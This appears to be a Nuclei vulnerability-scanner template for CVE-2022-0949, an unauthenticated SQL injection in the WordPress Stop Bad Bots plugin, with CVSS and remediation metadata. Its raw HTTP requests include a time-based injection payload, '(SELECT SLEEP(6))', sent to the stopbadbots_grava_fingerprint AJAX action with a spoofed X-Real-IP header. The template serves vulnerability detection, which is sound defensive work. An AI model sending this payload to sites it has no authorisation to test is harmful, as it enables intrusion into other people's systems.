id: CVE-2022-0949 info: name: WordPress Stop Bad Bots <6.930 - SQL Injection author: theamanrawat severity: critical description: | WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. reference: - https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb - https://wordpress.org/plugins/stopbadbots/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0949 remediation: Fixed in version 6.930. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0949 cwe-id: CWE-89 epss-score: 0.02077 cpe: cpe:2.3:a:stopbadbots:block_and_stop_bad_bots:*:*:*:*:*:wordpress:*:* metadata: max-request: 3 verified: true framework: wordpress vendor: stopbadbots product: block_and_stop_bad_bots tags: cve,stopbadbots,wp-plugin,wp,unauth,wpscan,cve2022,sqli,wordpress variables: IP: '{{rand_ip("1.1.1.0/24")}}' http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} X-Real-IP: {{IP}} Content-Type: application/x-www-form-urlencoded action=stopbadbots_grava_fingerprint&fingerprint=0 - | @timeout 10s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} X-Real-IP: {{IP}} Content-Type: application/x-www-form-urlencoded action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6)) - | GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1 Host: {{Hostname}} req-condition: true matchers: - type: dsl dsl: - 'duration_2>=6' - 'status_code_2 == 200' - 'contains(body_3, "commentform")' condition: and